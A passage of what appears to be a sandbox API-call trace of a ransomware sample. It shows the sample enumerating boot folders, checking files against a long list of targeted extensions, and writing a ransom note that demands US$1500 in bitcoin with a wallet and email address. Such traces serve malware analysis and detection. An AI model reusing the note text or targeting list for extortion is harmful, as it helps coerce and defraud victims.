(pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.323] lstrlenA (lpString="*.qby") returned 5 [0057.323] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.323] lstrlenA (lpString="*.qbj") returned 5 [0057.323] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.323] lstrlenA (lpString="*.ofx") returned 5 [0057.323] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.323] lstrlenA (lpString="*.qif") returned 5 [0057.323] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.323] lstrlenA (lpString="*.mye") returned 5 [0057.323] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.323] lstrlenA (lpString="*.mbox") returned 6 [0057.323] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.323] lstrlenA (lpString="*.eml") returned 5 [0057.323] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.323] lstrlenA (lpString="*.pst") returned 5 [0057.323] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.323] lstrlenA (lpString="*.ost") returned 5 [0057.323] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.323] lstrlenA (lpString="*.idx") returned 5 [0057.323] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.323] lstrlenA (lpString="*.dbx") returned 5 [0057.323] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.323] lstrlenA (lpString="*.sql") returned 5 [0057.323] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.323] lstrlenA (lpString="*.mdb") returned 5 [0057.323] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.324] lstrlenA (lpString="*.fdb") returned 5 [0057.324] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.324] lstrlenA (lpString="*.wab") returned 5 [0057.324] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.324] lstrlenA (lpString="*.dat") returned 5 [0057.324] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.324] lstrlenA (lpString="*.txt") returned 5 [0057.324] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.324] lstrlenA (lpString="*.jpeg") returned 6 [0057.324] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.324] lstrlenA (lpString="*.jpg") returned 5 [0057.324] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.324] lstrlenA (lpString="*.png") returned 5 [0057.324] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.324] lstrlenA (lpString="*.php") returned 5 [0057.324] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.324] lstrlenA (lpString="*.cs") returned 4 [0057.324] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.324] lstrlenA (lpString="*.cpp") returned 5 [0057.324] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.324] lstrlenA (lpString="*.rar") returned 5 [0057.324] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.324] lstrlenA (lpString="*.zip") returned 5 [0057.324] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.324] lstrlenA (lpString="*.html") returned 6 [0057.324] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.325] lstrlenA (lpString="*.htm") returned 5 [0057.325] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.325] lstrlenA (lpString="*.xlsx") returned 6 [0057.325] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.325] lstrlenA (lpString="*.xls") returned 5 [0057.325] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.325] lstrlenA (lpString="*.mp4") returned 5 [0057.325] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.325] lstrlenA (lpString="*.ppt") returned 5 [0057.325] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.325] lstrlenA (lpString="*.pptx") returned 6 [0057.325] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.325] lstrlenA (lpString="*.doc") returned 5 [0057.325] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.325] lstrlenA (lpString="*.dot") returned 5 [0057.325] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.325] lstrlenA (lpString="*.docx") returned 6 [0057.325] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.325] lstrlenA (lpString="*.7z") returned 4 [0057.325] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.325] lstrlenA (lpString="*.tar") returned 5 [0057.325] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.325] lstrlenA (lpString="*.bz2") returned 5 [0057.325] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.325] lstrlenA (lpString="*.gz") returned 4 [0057.325] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.326] lstrlenA (lpString="*.mkv") returned 5 [0057.326] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.326] lstrlenA (lpString="*.eml") returned 5 [0057.326] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.326] lstrlenA (lpString="*.msg") returned 5 [0057.326] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.326] lstrlenA (lpString="*.edb") returned 5 [0057.326] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.326] lstrlenA (lpString="*.accdb") returned 7 [0057.326] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.326] lstrlenA (lpString="*.odb") returned 5 [0057.326] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.326] lstrlenA (lpString="*.java") returned 6 [0057.326] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.326] lstrlenA (lpString="*.asm") returned 5 [0057.326] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.326] lstrlenA (lpString="*.pfx") returned 5 [0057.326] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.326] lstrlenA (lpString="*.pem") returned 5 [0057.326] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.326] lstrlenA (lpString="*.p12") returned 5 [0057.326] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.326] lstrlenA (lpString="*.gpg") returned 5 [0057.326] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.326] lstrlenA (lpString="*.vsd") returned 5 [0057.326] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.326] lstrlenA (lpString="*.odg") returned 5 [0057.326] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.327] lstrlenA (lpString="*.raw") returned 5 [0057.327] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.327] lstrlenA (lpString="*.nef") returned 5 [0057.327] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.327] lstrlenA (lpString="*.svg") returned 5 [0057.327] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.327] lstrlenA (lpString="*.psd") returned 5 [0057.327] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.327] lstrlenA (lpString="*.vmx") returned 5 [0057.327] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.327] lstrlenA (lpString="*.vmdk") returned 6 [0057.327] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.327] lstrlenA (lpString="*.vdi") returned 5 [0057.327] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.327] lstrlenA (lpString="*.lay6") returned 6 [0057.327] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.327] lstrlenA (lpString="*.mpeg") returned 6 [0057.327] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.327] lstrlenA (lpString="*.djvu") returned 6 [0057.327] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.328] lstrlenA (lpString="*.tiff") returned 6 [0057.328] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.328] lstrlenA (lpString="*.backup") returned 8 [0057.328] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.328] lstrlenA (lpString="*.pdf") returned 5 [0057.328] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.328] lstrlenA (lpString="*.cert") returned 6 [0057.328] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.328] lstrlenA (lpString="*.docm") returned 6 [0057.328] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.328] lstrlenA (lpString="*.xlsm") returned 6 [0057.328] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.328] lstrlenA (lpString="*.dwg") returned 5 [0057.328] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.328] lstrlenA (lpString="*.nd") returned 4 [0057.328] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.328] lstrlenA (lpString="*.tlg") returned 5 [0057.328] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.328] lstrlenA (lpString="*.lgb") returned 5 [0057.328] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.328] lstrlenA (lpString="*.mov") returned 5 [0057.328] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.328] lstrlenA (lpString="*.xdw") returned 5 [0057.328] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.328] lstrlenA (lpString="*.ods") returned 5 [0057.328] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.328] lstrlenA (lpString="*.wav") returned 5 [0057.328] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.328] lstrlenA (lpString="*.mp3") returned 5 [0057.328] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.328] lstrlenA (lpString="*.aiff") returned 6 [0057.328] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.328] lstrlenA (lpString="*.flac") returned 6 [0057.329] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.329] lstrlenA (lpString="*.m4a") returned 5 [0057.329] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.329] lstrlenA (lpString="*.csv") returned 5 [0057.329] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.329] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.329] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0057.329] lstrcmpA (lpString1=".", lpString2="ko-KR") returned -1 [0057.329] lstrcmpA (lpString1="..", lpString2="ko-KR") returned -1 [0057.329] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.329] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="ko-KR" | out: lpString1="C:\\Boot\\ko-KR") returned="C:\\Boot\\ko-KR" [0057.329] lstrlenA (lpString="C:\\Boot\\ko-KR") returned 13 [0057.329] FindFirstFileA (in: lpFileName="C:\\Boot\\ko-KR\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.330] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.330] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.330] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.330] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.330] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.330] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.330] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.330] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.330] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.331] PathFindFileNameA (pszPath="C:\\Boot\\ko-KR\\*.*") returned="*.*" [0057.331] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\ko-KR\\" | out: lpString1="C:\\Boot\\ko-KR\\") returned="C:\\Boot\\ko-KR\\" [0057.331] PathAddBackslashA (in: pszPath="C:\\Boot\\ko-KR\\" | out: pszPath="C:\\Boot\\ko-KR\\") returned="" [0057.331] lstrcatA (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\ko-KR\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\ko-KR\\HOW TO DECRYPT FILES.txt" [0057.331] GetFileAttributesA (lpFileName="C:\\Boot\\ko-KR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\ko-kr\\how to decrypt files.txt")) returned 0xffffffff [0057.331] CreateFileA (lpFileName="C:\\Boot\\ko-KR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\ko-kr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.331] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.331] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.333] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.333] CloseHandle (hObject=0x84) returned 1 [0057.333] lstrcatA (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="C:\\Boot\\ko-KR\\bootmgr.exe.mui" [0057.333] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.333] lstrlenA (lpString="*.ems") returned 5 [0057.333] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.333] lstrlenA (lpString="*.db") returned 4 [0057.333] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.333] lstrlenA (lpString="*.dbf") returned 5 [0057.333] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.333] lstrlenA (lpString="*.myox") returned 6 [0057.333] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.333] lstrlenA (lpString="*.myo") returned 5 [0057.333] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.333] lstrlenA (lpString="*.qbw") returned 5 [0057.333] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.333] lstrlenA (lpString="*.qbb") returned 5 [0057.333] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.333] lstrlenA (lpString="*.qbm") returned 5 [0057.333] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.333] lstrlenA (lpString="*.qbo") returned 5 [0057.333] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.333] lstrlenA (lpString="*.qbx") returned 5 [0057.333] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.333] lstrlenA (lpString="*.qba") returned 5 [0057.333] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.333] lstrlenA (lpString="*.qby") returned 5 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.334] lstrlenA (lpString="*.qbj") returned 5 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.334] lstrlenA (lpString="*.ofx") returned 5 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.334] lstrlenA (lpString="*.qif") returned 5 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.334] lstrlenA (lpString="*.mye") returned 5 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.334] lstrlenA (lpString="*.mbox") returned 6 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.334] lstrlenA (lpString="*.eml") returned 5 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.334] lstrlenA (lpString="*.pst") returned 5 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.334] lstrlenA (lpString="*.ost") returned 5 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.334] lstrlenA (lpString="*.idx") returned 5 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.334] lstrlenA (lpString="*.dbx") returned 5 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.334] lstrlenA (lpString="*.sql") returned 5 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.334] lstrlenA (lpString="*.mdb") returned 5 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.334] lstrlenA (lpString="*.fdb") returned 5 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.334] lstrlenA (lpString="*.wab") returned 5 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.334] lstrlenA (lpString="*.dat") returned 5 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.334] lstrlenA (lpString="*.txt") returned 5 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.334] lstrlenA (lpString="*.jpeg") returned 6 [0057.334] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.335] lstrlenA (lpString="*.jpg") returned 5 [0057.335] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.335] lstrlenA (lpString="*.png") returned 5 [0057.335] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.335] lstrlenA (lpString="*.php") returned 5 [0057.335] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.335] lstrlenA (lpString="*.cs") returned 4 [0057.335] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.335] lstrlenA (lpString="*.cpp") returned 5 [0057.335] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.335] lstrlenA (lpString="*.rar") returned 5 [0057.335] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.335] lstrlenA (lpString="*.zip") returned 5 [0057.335] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.335] lstrlenA (lpString="*.html") returned 6 [0057.335] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.335] lstrlenA (lpString="*.htm") returned 5 [0057.335] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.335] lstrlenA (lpString="*.xlsx") returned 6 [0057.335] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.335] lstrlenA (lpString="*.xls") returned 5 [0057.335] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 